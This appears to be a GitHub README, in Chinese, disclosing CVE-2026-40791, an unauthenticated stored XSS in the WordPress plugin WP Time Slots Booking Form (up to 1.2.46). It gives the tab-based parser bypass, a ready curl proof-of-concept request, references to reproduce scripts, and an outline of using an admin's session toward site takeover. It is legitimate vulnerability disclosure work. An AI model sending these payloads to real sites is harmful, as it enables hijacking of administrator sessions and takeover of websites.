Rat5ak/CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

GitHub: Rat5ak/CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

该项目复现了 WordPress 预约插件 WP Time Slots Booking Form 中一个利用制表符绕过解析器的未授权存储型 XSS 漏洞。

Stars: 0 | Forks: 0

# CVE-2026-40791:一个预约时段引发的 Admin XSS 我在 WordPress 的 WP Time Slots Booking Form 插件中发现了一个未授权的存储型 XSS。公开的预约提交内容控制了已存储时段值的一部分。该插件随后将该值输出到管理员的 Booking Orders 页面中,且未进行转义。 原理很简单:该插件使用字面空格来分割提交的预约字符串,但 HTML 会将标签名和属性之间的制表符视为空白字符。因此,`8:` 在插件的解析器中作为时段值保留了下来,并在管理员打开预约列表时变成了真实的 HTML 标签。 | | | |---|---| | CVE | CVE-2026-40791 | | 插件 | WP Time Slots Booking Form | | Slug | `wp-time-slots-booking-form` | | 受影响版本 | `<= 1.2.46` | | 已修复版本 | `1.2.47` | | 漏洞类型 | 未授权存储型 XSS (CWE-79) | | 影响 | 公开预约 -> 在 admin `wp-admin` 会话中执行 JavaScript | | CVSS | 7.2 高危,7.1 (Patchstack) | | 贡献者 | Daniel Wade | ## 太长不看 公开预约表单接受以下字段: ``` fieldname1_1=2026-04-15 8: 1 0 0 0 0 0 0 ``` 该插件对其进行如下解析: ``` $item_split = explode(' ', $app_item_text); ... 'slot' => $item_split[1], ``` 由于分隔符是制表符而不是字面空格,`item_split[1]` 会变成: ``` 8: ``` 该时段值被序列化并存储在预约记录中。当管理员打开 Booking Orders 时,`1.2.46` 版本会在此处将其输出: ``` ''.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'' . ... echo $appts.'
'.$data; // phpcs:ignore WordPress.Security.EscapeOutput ``` 没有任何转义。SVG 标签的 `onload` 事件会在管理员页面中触发。 这不仅仅是“我能读取管理员的 cookie 吗?”的问题。现代 WordPress 的认证 cookie 通常是 `HttpOnly` 的,因此 `document.cookie` 可能无法获取到真实的 `wordpress_sec_*` cookie。关键在于,该脚本运行在经过认证的管理员源(admin-origin)页面中。它可以抓取同源的管理员页面、读取暴露的 nonce,并从受害者的浏览器发送经过认证的管理员请求。 ## 漏洞详情 存在漏洞的流程如下: ``` unauthenticated POST -> fieldname1_1 -> extract_appointments() -> explode(' ', $input)[1] -> $apps[]['slot'] -> serialize() -> wp_cptslotsbk_messages.posted_data -> unserialize() -> Booking Orders appointment badge -> unescaped HTML output ``` 解析器假设该时段值只是纯文本。但事实并非如此。它是攻击者提供的输入,并最终会落入 HTML 上下文中。 存在漏洞的输出点(sink)位于 `cp-admin-int-message-list.inc.php`: ``` $appts .= '
' . '' . ''.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'' . ... echo $appts.'
'.$data; // phpcs:ignore WordPress.Security.EscapeOutput ``` 那句 `phpcs:ignore WordPress.Security.EscapeOutput` 就是一切的根源。在输出受攻击者控制的预约数据时,转义警告被强行忽略了。 ## 触发方式 Payload 的形式: ``` 8: ``` 为什么它能生效: ``` PHP explode(' ', ...) "8:onload=...>" stays one token Browser HTML parser onload=...> becomes ``` 时段解析器获取到了它期望的值。而浏览器则得到了它知道如何执行的 HTML 标签。 ## PoC PowerShell: ``` .\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2 ``` Bash: ``` ./poc/reproduce.sh "http://127.0.0.1" 2 ``` 手动 curl: ``` TAB=$'\t' TARGET="http://127.0.0.1" PAGE_ID="2" curl -i -sS "$TARGET/?page_id=$PAGE_ID" \ --data-urlencode "cp_tslotsbooking_pform_process=1" \ --data-urlencode "cp_pform_psequence=_1" \ --data-urlencode "cp_tslotsbooking_id=1" \ --data-urlencode "fieldname1_1=2026-04-15 8: 1 0 0 0 0 0 0" \ --data-urlencode "fieldname2_1=John Doe" \ --data-urlencode "fieldname3_1=attacker@example.com" \ --data-urlencode "fieldname4_1=1234567890" \ --data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \ --data-urlencode "form_structure_1=" \ --data-urlencode "refpage_1=" \ --data-urlencode "cp_tslotsbooking_pform_status=" ``` 预期结果: ``` HTTP/1.1 302 Found ``` 然后以管理员身份登录并打开: ``` WP Time Slots Booking Form -> Booking Orders ``` 当已存储的预约记录被渲染时,Payload 就会执行。 ## 验证证据 我在一个一次性的本地 WordPress 实验环境中验证了完整的漏洞链: ``` PHP 8.3.31 for Windows MariaDB 11.4.12 on 127.0.0.1 WordPress WP Time Slots Booking Form 1.2.46 CAPTCHA disabled on form 1 Public page with [CP_TIME_SLOTS_BOOKING id="1"] ``` PowerShell PoC 成功提交: ``` HTTP status: 302 ``` Payload 存入到了 `wp_cptslotsbk_messages.posted_data` 中: ``` slot";s:69:"8:" ``` 接着,Headless Chrome 以管理员身份登录,打开了 Booking Orders,并捕获到了由存储的 SVG 事件处理器设置的标记: ``` ADMIN_XSS_EXECUTED ``` 在将插件替换为 `1.2.47` 后,我也测试了相同的恶意存储记录。管理员页面将 Payload 作为转义后的纯文本输出: ``` 04/15/2026 8:<svg onload=...> ``` 没有任何标记被触发: ``` PATCHED_NO_XSS_EXECUTION ``` 此外还有一个简单的本地渲染健全性检查: ``` powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1 ``` 它可以在不完整安装 WordPress 的情况下验证这两个核心机制: ``` Parser check OK: literal-space split preserves tabbed SVG in slot index 1. Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML. ``` ## 影响 攻击者不需要任何账号。攻击者只需提交一个公开预约,然后等待管理员查看 Booking Orders。 一旦管理员查看了该页面,攻击者的 JavaScript 就会在管理员的 WordPress 源中运行。真正的攻击者通常不会仅仅停留在 `alert(document.cookie)`。他们会利用管理员的浏览器以管理员的身份执行操作: ``` fetch admin pages -> read nonces from HTML -> submit authenticated admin POSTs -> change site state ``` 取决于管理员的能力和站点配置,这可能意味着创建用户、更改插件设置、修改通知接收地址、读取预约/客户数据,或者通过插件/主题功能逐步升级,最终实现完整接管网站。 ## 修复方案 `1.2.47` 版本在构建管理员界面的徽章之前,会对已存储的时段值进行转义: ``` - ' '.$posted_data["apps"][$k]["slot"].'' + ' '.esc_html($posted_data["apps"][$k]["slot"]).'' ``` 这就修复了输出点漏洞。提前对输入进行清理也是合理的,但核心的安全边界应该是在管理员页面的 HTML 输出上下文中。 ## 仓库结构 ``` poc/ reproduce.ps1 # PowerShell unauthenticated booking submitter reproduce.sh # Bash/curl unauthenticated booking submitter lab/ render-check.html # Minimal vulnerable render fixture validate-render.ps1 # Parser + browser execution sanity check README.md ``` ## 时间线 | 日期 | 事件 | |---|---| | 2026-03-24 | 报告给 Patchstack | | 2026-04-13 | 补丁验证 | | 2026-04-23 | Wordfence 发布安全公告 | | 2026-04-24 | Patchstack 发布安全公告 | | 2026-04-30 | Wordfence 最后更新条目 | ## 相关资源 * Wordfence 公告:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting * Patchstack 条目:https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability * WordPress 插件:https://wordpress.org/plugins/wp-time-slots-booking-form/ * WordPress 认证 cookie 源码:https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/ * 存在漏洞的源码:https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/ * 已修复的源码:https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/ *CVE-2026-40791 - 在 WP Time Slots Booking Form 1.2.47 中修复。受影响版本:1.2.46 及更早版本。* *Daniel Wade - [GitHub](https://github.com/Rat5ak) - [Twitter/X](https://x.com/Nadsec11) - [Bluesky](https://bsky.app/profile/nadsec.online) - [Mastodon](https://cyberplace.social/@Nadsec) - [Medium](https://medium.com/@Nadsec) - [nadsec.online](https://nadsec.online)*
标签:AI合规, Libemu, Web安全, WordPress插件, 应用安全, 文件完整性监控, 漏洞分析, 漏洞复现, 自动化分析, 蓝队分析, 跨站脚本, 路径探测